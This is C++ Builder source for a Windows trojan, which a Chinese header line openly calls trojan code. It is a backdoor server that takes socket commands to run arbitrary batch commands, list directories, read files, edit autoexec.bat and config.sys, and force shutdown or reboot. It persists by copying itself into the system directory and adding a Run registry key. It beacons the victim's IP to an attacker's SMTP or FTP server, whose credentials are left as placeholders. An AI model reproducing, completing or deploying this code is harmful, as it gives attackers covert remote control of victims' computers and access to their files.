server_c.cpp

这是一个trojan木马代码

//---------------------------------------------------------------------------
#include <vcl.h>
#include <stdlib.h>
#include <dirent.h>
#include <fcntl.h>
#include <dos.h>
#include <sys\stat.h>
#include <winbase.h>
#include <stdio.h>
#include <process.h>
#include <io.h>
#pragma hdrstop

#include "server_c.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------

void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
      TCustomWinSocket *Socket)
{

    FILE *fp=NULL;
    char * content;
    int times_of_try;
    char TempFile[MAX_PATH];

    sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

    AnsiString temp=Socket->ReceiveText();
    if(temp.SubString(0,9)=="edit conf")
    {
        int number=temp.Length();
        int file_name=atoi((temp.SubString(11,1)).c_str());
        content=(temp.SubString(12,number-11)+'\n').c_str();

        FILE *fp=NULL;
        char filename[20];
        chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
        chmod("c:\\config.sys",S_IREAD|S_IWRITE);
        if(file_name==1)
                sprintf(filename,"%s","c:\\autoexec.bat");
        else if(file_name==2)
                sprintf(filename,"%s","c:\\config.sys");

        times_of_try=0;
        while(fp==NULL)
        {
                fp=fopen(filename,"a+");
                times_of_try=times_of_try+1;
                if(times_of_try>100)
                {
                        Socket->SendText("Fail By Open File");
                        goto END;
                }
        }

        fwrite(content,sizeof(char),strlen(content),fp);
        fclose(fp);
        Socket->SendText("Sucess");
    }

    else if(temp.SubString(0,3)=="dir")
    {
        int Read_Num;
        char * CR_LF="\n";
        int attrib;
        char *filename;

        DIR *dir;
        struct dirent *ent;

        int number=temp.Length();
        AnsiString Dir_Name=temp.SubString(5,number-3);
        if(Dir_Name=="")
        {
                Socket->SendText("Fail By Open DIR's");
                goto END;
        }
        char * dirname;
        dirname=Dir_Name.c_str();

        if ((dir = opendir(dirname)) == NULL)
        {
                Socket->SendText("Fail by your DIR's name!");
                goto END;
        }
        times_of_try=0;
        while(fp==NULL)
        {
                fp=fopen(TempFile,"w+");
                times_of_try=times_of_try+1;
                if(times_of_try>100)
                {
                        Socket->SendText("Fail By Open File");
                        goto END;
                }
        }

        while ((ent = readdir(dir)) != NULL)
        {
                if(*(AnsiString(dirname)).AnsiLastChar()!='\\')
                        filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();
                else
                        filename=(AnsiString(dirname)+ent->d_name).c_str();
                attrib=_rtl_chmod(filename, 0);

                if (attrib & FA_RDONLY)
                        fwrite("  R",sizeof(char),3,fp);
                else
                        fwrite("   ",sizeof(char),3,fp);
                if (attrib & FA_HIDDEN)
                        fwrite("H",sizeof(char),1,fp);
                else
                        fwrite(" ",sizeof(char),1,fp);
                if (attrib & FA_SYSTEM)
                        fwrite("S",sizeof(char),1,fp);
                else
                        fwrite(" ",sizeof(char),1,fp);
                if (attrib & FA_ARCH)
                        fwrite("A",sizeof(char),1,fp);
                else
                        fwrite(" ",sizeof(char),1,fp);
                if (attrib & FA_DIREC)
                        fwrite("  <DIR>  ",sizeof(char),9,fp);
                else
                        fwrite("         ",sizeof(char),9,fp);

                fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);
                fwrite(CR_LF,1,1,fp);
        }

        fclose(fp);
        closedir(dir);

        FILE *fp1=NULL;
        times_of_try=0;
        while(fp1==NULL)
        {
                fp1=fopen(TempFile,"r");
                times_of_try=times_of_try+1;
                if(times_of_try>100)
                {
                        Socket->SendText("Fail By Open File");
                        goto END;
                }
        }
        AnsiString Return_Text="";
        char temp_content[300];

        for(int i=0;i<300;i++)
                temp_content[i]='\0';


        Read_Num=fread(temp_content,1,300,fp1);
        while(Read_Num==300)
        {
                Return_Text=Return_Text+temp_content;
                for(int i=0;i<300;i++)
                        temp_content[i]='\0';
                Read_Num=fread(temp_content,1,300,fp1);
        };

        Return_Text=Return_Text+temp_content;
        fclose(fp1);
        Socket->SendText(Return_Text);
    }
    else if(temp.SubString(0,4)=="type")
    {
        int Read_Num;
        int number=temp.Length();
        AnsiString File_Name=temp.SubString(6,number-4);
        times_of_try=0;
        while(fp==NULL)
        {
                fp=fopen(File_Name.c_str(),"r");
                times_of_try=times_of_try+1;
                if(times_of_try>100)
                {
                        Socket->SendText("Fail By Open File");
                        goto END;
                }
        }
        AnsiString Return_Text="";
        char temp_content[300];

        for(int i=0;i<300;i++)
                temp_content[i]='\0';


        Read_Num=fread(temp_content,1,300,fp);//sizeof(char),strlen(temp_content),fp);
        while(Read_Num==300)
        {
                Return_Text=Return_Text+temp_content;
                for(int i=0;i<300;i++)
                        temp_content[i]='\0';
                Read_Num=fread(temp_content,1,300,fp);
        };

        Return_Text=Return_Text+temp_content;
        fclose(fp);
        Socket->SendText(Return_Text);
    }
    else if(temp=="reboot")
    {

        DWORD dwVersion = GetVersion();

        // Get major and minor version numbers of Windows
//        DWORD dwWindowsMajorVersion =  (DWORD)(LOBYTE(LOWORD(dwVersion)));
//        DWORD dwWindowsMinorVersion =  (DWORD)(HIBYTE(LOWORD(dwVersion)));

        // Get build numbers for Windows NT or Win32s
        if (dwVersion < 0x80000000)                // Windows NT
        {
                HANDLE hToken;
                TOKEN_PRIVILEGES tkp;

                OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
                LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

                tkp.PrivilegeCount = 1;  // one privilege to set
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

                ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
        }
        else
                ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
    }
    else
    {
        char * CR_TF="\n";
        times_of_try=0;
        while(fp==NULL)
        {
                fp=fopen(TempFile,"w+");
                times_of_try=times_of_try+1;
                if(times_of_try>100)
                {
                        Socket->SendText("Fail By Open File");
                        goto END;
                }
        }
        fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);
        fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);
        fclose(fp);

//        execl("c:\\windows\\winuser69.bat","c:\\windows\\winuser69.bat",NULL);
        system(TempFile);
        Socket->SendText("Sucess");
    }

END:;
    Socket->Close();
    ServerSocket1->Active =true;
    if (NMSMTP1->Connected)
        NMSMTP1->Disconnect();

    NMSMTP1->Host = //Your SMTP Server
    NMSMTP1->UserID = //Your SMTP User ID
    try
    {
            NMSMTP1->Connect();
    }
    catch(...)
    {
            goto NextTime;
    }

    NMSMTP1->PostMessage->FromAddress = //From Where
    NMSMTP1->PostMessage->FromName = //From Name
    NMSMTP1->PostMessage->ToAddress->Text = //Your Email Name

    NMSMTP1->PostMessage->Body->Text = AnsiString("Client/Server Running on: ") + NMSMTP1->LocalIP ;
    NMSMTP1->PostMessage->Subject = "Client Running Now";
    NMSMTP1->SendMail();
    return;

    NextTime:
    NMFTP1->Host = //Your FTP Server Name
    NMFTP1->UserID = //Your FTP User ID
    NMFTP1->Port = //Your FTP Port
    NMFTP1->Password = //Your FTP Account Password


    if(NMFTP1->Connected)
        NMFTP1->Disconnect();
    try
    {
        NMFTP1->Connect();
    }
    catch(...)
    {
        return;
    }
    AnsiString SendToSite = "Client_Server Run on: " + NMFTP1->RemoteIP;
    FILE * Upload=NULL;
    Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");
    fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);
    fclose(Upload);
    NMFTP1->RemoveDir("public_html");
    NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);
}
//---------------------------------------------------------------------------

void __fastcall TForm1::FormCreate(TObject *Sender)
{
    char TempPath[MAX_PATH];

    GetSystemDirectory(TempPath ,MAX_PATH);
    SystemPath=AnsiString(TempPath);            //SystemPath=c:\\winnt\\system32
    CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\WinServer.exe").c_str() ,FALSE);

    Registry=new TRegistry;
    Registry->RootKey=HKEY_LOCAL_MACHINE;

    Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
    try
    {
        if(Registry->ReadString("Win Server")!=SystemPath+"\\WinServer.exe")
            Registry->WriteString("Win Server",SystemPath+"\\WinServer.exe");
    }
    catch(...)
    {
    }
}
//---------------------------------------------------------------------------